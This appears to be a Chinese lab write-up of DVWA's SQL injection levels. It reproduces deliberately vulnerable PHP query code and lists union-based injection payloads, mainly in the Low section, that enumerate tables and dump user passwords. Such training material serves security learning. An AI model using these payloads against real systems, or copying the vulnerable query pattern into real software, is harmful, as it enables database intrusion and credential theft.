总结了dvwa中的sql注入关卡
Low
代码复现如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| <?php
include ("sql-connection.php");
if (isset($_POST['id']) && isset($_POST['submit'])){
$id=$_POST['id'];
$sql="SELECT first_name , last_name FROM users WHERE user_id='$id'";
$result=mysql_query($sql) or die(mysql_error());
while($row=mysql_fetch_assoc($result)){
$first=$row['first_name'];
$last=$row['last_name'];
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
?>
|
这关毫无过滤的sql语句
提示输入id，判断可能是数字型注入
输入1
再输入1’
出现报错，从错误信息判断是数字型注入，且被单引号包裹
输入1’#
没有报错
接下来判断查询字段数
输入1’ order by 3
说明查询字段数为2
那么就用联合查询来爆库
输入0’ union select database(),2 #
输入0’ union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#
爆表
输入0’ union select group_concat(column_name),2 from information_schema.columns where table_name=’users’#
爆列
输入0’ union select password,user_id from users #
爆数据
Medium
代码复现如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| <?php
include("sql-connection.php");
if(isset($_POST['submit'])){
$id=$_POST['id'];
$id=mysql_real_escape_string($id);
$sql="SELECT first_name,last_name FROM users where user_id=$id";
$result=mysql_query($sql) or die(mysql_error());
while($row=mysql_fetch_assoc($result)){
$first=$row['first_name'];
$last=$row['last_name'];
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
?>
|
这关很明显是数字型注入，通过选择表单中的数字作为注入点，我们可以用burp抓包修改post的id值
这里id值虽然通过mysql_real_escape函数被转义处理，但是由于id没有被引号包裹，所以没有什么区别
先判断查询字段数
字段数为2
接下来爆库
爆表
爆列
因为这里单引号被包裹，所以users可以转成十六进制数从而绕过转义
爆数据
High
这关有两个页面，一个页面用来输入id值，输入的id值经过sql查询后的信息显示在主页面上
输入id值的页面代码如下：
1
2
3
4
5
6
7
8
9
10
11
| <?php
session_start();
if(isset($_POST['id']) && isset($_POST['submit'])){
$_SESSION['id']=$_POST['id'];
}
echo "Session ID:".$_SESSION['id'];
?>
|
主页面代码如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| <?php
session_start();
include("sql-connection.php");
if (isset($_SESSION['id'])){
$id=$_SESSION['id'];
$sql="SELECT first_name , last_name FROM users where user_id='$id'";
$result=mysql_query($sql) or die(mysql_error());
while($row=mysql_fetch_assoc($result)){
$first=$row['first_name'];
$last=$row['last_name'];
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
?>
|
这关把post的id值赋值给session的id值
注入点仍然是id值
跟上面关卡没什么本质区别
爆库
爆表
爆列
爆数据
